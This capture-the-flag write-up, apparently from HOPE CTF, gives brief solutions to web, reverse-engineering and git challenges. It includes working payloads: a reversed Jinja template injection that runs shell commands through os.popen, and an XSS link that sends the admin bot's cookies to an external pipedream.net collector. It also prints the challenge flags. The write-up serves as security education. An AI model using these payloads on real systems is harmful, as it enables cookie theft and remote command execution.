Challenges
[web]secure-page
...
if admin == '':
headers['set-cookie'] = 'admin=false'
if admin == 'true':
return (200, '''
<title>Secure Page</title>
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>Secure Page</h1>
%s
</div>
''' % os.environ.get('FLAG', 'flag is missing!'), headers)
...
Just set Cookie: admin=true
in the Header and send request.
curl -H 'Cookie: admin=true' https://secure-page.mc.ax
hope{signatures_signatures_signatures}
[web]reverser
Template Injection is likely to occur at the following.
@app.post('/')
def reverse():
...
output = request.form.get('text', '')[::-1]
return render_template_string(result % output)
Also, note that output
is reversed and then write payload.
i = "{{url_for.__globals__.os.popen('cat flag-f5953883-3dae-4a0f-9660-d00b50ff4012.txt').read()}}"
print(i[::-1])
# => }})(daer.)'txt.2104ff05b00d-0669-f0a4-ead3-3883595f-galf tac'(nepop.so.__slabolg__.rof_lru{{
FLAG : hope{cant_misuse_templates}
[web]flag-viewer
Note that you see the all response with --verbose
option.
curl --verbose -d 'user=admin' -X POST https://flag-viewer.mc.ax/flag
...
< location: /?message=hope%7Boops_client_side_validation_again%7D
...
Flag : hope{oops_client_side_validation_again}
[web]pastebin
(adminbot.js)
await page.setCookie({ name: 'flag', value: flag.trim(), domain: 'pastebin.mc.ax' })
Overwrite location
with XSS because when adminbot access the page with the same name as HOST name, set the Cookie.
There is XSS at message
query in the /flash
.
(index.js)
app.get('/flash', (req, res) => {
const message = req.query.message ?? '';
res.set('set-cookie', `error=${message}`);
res.redirect('/');
});
Input the URL to input-box in https://admin-bot.mc.ax/pastebin
.
https://pastebin.mc.ax/flash?message=<script>location=`https://eoyyukk2qvix5xq.m.pipedream.net?cookie=${document.cookie}`</script>
[web]point
type importantStuff struct {
Whatpoint string `json:"what_point"`
}
...
if strings.Contains(string(body), "what_point") || strings.Contains(string(body), "\\") {
fmt.Fprintf(w, "Something went wrong")
return
}
...
if whatpoint.Whatpoint == "that_point" {
fmt.Fprintf(w, "Congrats! Here is the flag: %s", flag)
return
}
I thought just send {"what_point":"that_point"}
but, I can’t use what_point
because it filterd.
However, to check specification of JSON of Golang, it seems to be able to use structWhat_point
.
curl -X POST -d '{"What_point":"that_point"}' https://point.mc.ax
Congrats! Here is the flag: hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}
FLAG : hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}
[rev]slices
...
if len(flag) != 32: fail()
if flag[:5] != 'hope{': fail()
if flag[-1] != '}': fail()
if flag[5::3] != 'i0_tnl3a0': fail()
if flag[4::4] != '{0p0lsl': fail()
if flag[3::5] != 'e0y_3l': fail()
if flag[6::3] != '_vph_is_t': fail()
if flag[7::3] != 'ley0sc_l}': fail()
...
The string that satisfies the following conditions.
- flag length is 32.
i0_tnl3a0
is placed at a multiple of 3 from the fifth character.- the same applies hereafter
Generate the string that satisfies it.
flag = ['']*32
f = 'hope{'
for i in range(32):
if i < 5:
flag[i] = f[i]
if i == 31:
flag[i] = '}'
f0 = 'i0_tnl3a0'
a_f0 = []
fi = 0
for i in range(32-5):
if i % 3 == 0:
a_f0.append(f0[fi])
fi += 1
flag[5::3] = a_f0
f1 = '{0p0lsl'
a_f1 = []
se = 0
for i in range(32-4):
if i % 4 == 0:
a_f1.append(f1[se])
se += 1
flag[4::4] = a_f1
f2 = 'e0y_3l'
a_f2 = []
th = 0
for i in range(32-3):
if i % 5 == 0:
a_f2.append(f2[th])
th += 1
flag[3::5] = a_f2
f3 = '_vph_is_t'
a_f3 = []
fo = 0
for i in range(32-6):
if i % 3 == 0:
a_f3.append(f3[fo])
fo += 1
flag[6::3] = a_f3
f4 = 'ley0sc_l}'
a_f4 = []
fif = 0
for i in range(32-7):
if i % 3 == 0:
a_f4.append(f4[fif])
fif += 1
flag[7::3] = a_f4
print(''.join(flag))
FLAG : hope{i_l0ve_pyth0n_slic3s_a_l0t}
[rev]sequence
It is analysed by Ghidra and formatted to show variable names, etc.
...
else if (a_input[0] == 0xc) {
for (i = 1; i < 6; i = i + 1) {
num = a_input[i + -1] * 3 + 7;
mask = (uint)(num >> 0x1f) >> 0x1c;
if (a_input[i] != (num + mask & 0xf) - mask) {
isTrue = 0;
goto LAB_00101305;
}
}
...
Just generate 6 numbers that satisfy these.
#include <stdio.h>
int main(void) {
int num;
int mask;
int input[6] = {0xc, 0x0, 0x0, 0x0, 0x0, 0x0};
for(int i = 1; i < 6; i++){
num = input[i - 1] * 3 + 7;
mask = (num >> 0x1f) >> 0x1c;
input[i] = (num + mask & 0xf) - mask;
}
for(int i = 0; i < 6; i++)
printf("%d ", input[i]);
}
//=> 12 11 8 15 4 3
FLAG : hope{definitely_solvable_with_angr}
[misc]orphan
Move to commit hash that added flag
and then just see flag.txt
.
$ cat .git/logs/HEAD
0000000000000000000000000000000000000000 2ce03bc4ae69cd194b7680b18172641f7d56fbbf William Wang <defund@users.noreply.github.com> 1658084429 -0400 commit (initial): add foo
0000000000000000000000000000000000000000 2ce03bc4ae69cd194b7680b18172641f7d56fbbf William Wang <defund@users.noreply.github.com> 1658084534 -0400 checkout: moving from flag to main
0000000000000000000000000000000000000000 b53c9e6864ed176ea0192fd8283362a41d94906c William Wang <defund@users.noreply.github.com> 1658084626 -0400 commit (initial): add flag
b53c9e6864ed176ea0192fd8283362a41d94906c 2ce03bc4ae69cd194b7680b18172641f7d56fbbf William Wang <defund@users.noreply.github.com> 1658084645 -0400 checkout: moving from flag to main
$ g checkout b53c9e6864ed176ea0192fd8283362a41d94906c
$ cat flag.txt
hope{ba9f11ecc3497d9993b933fdc2bd61e5}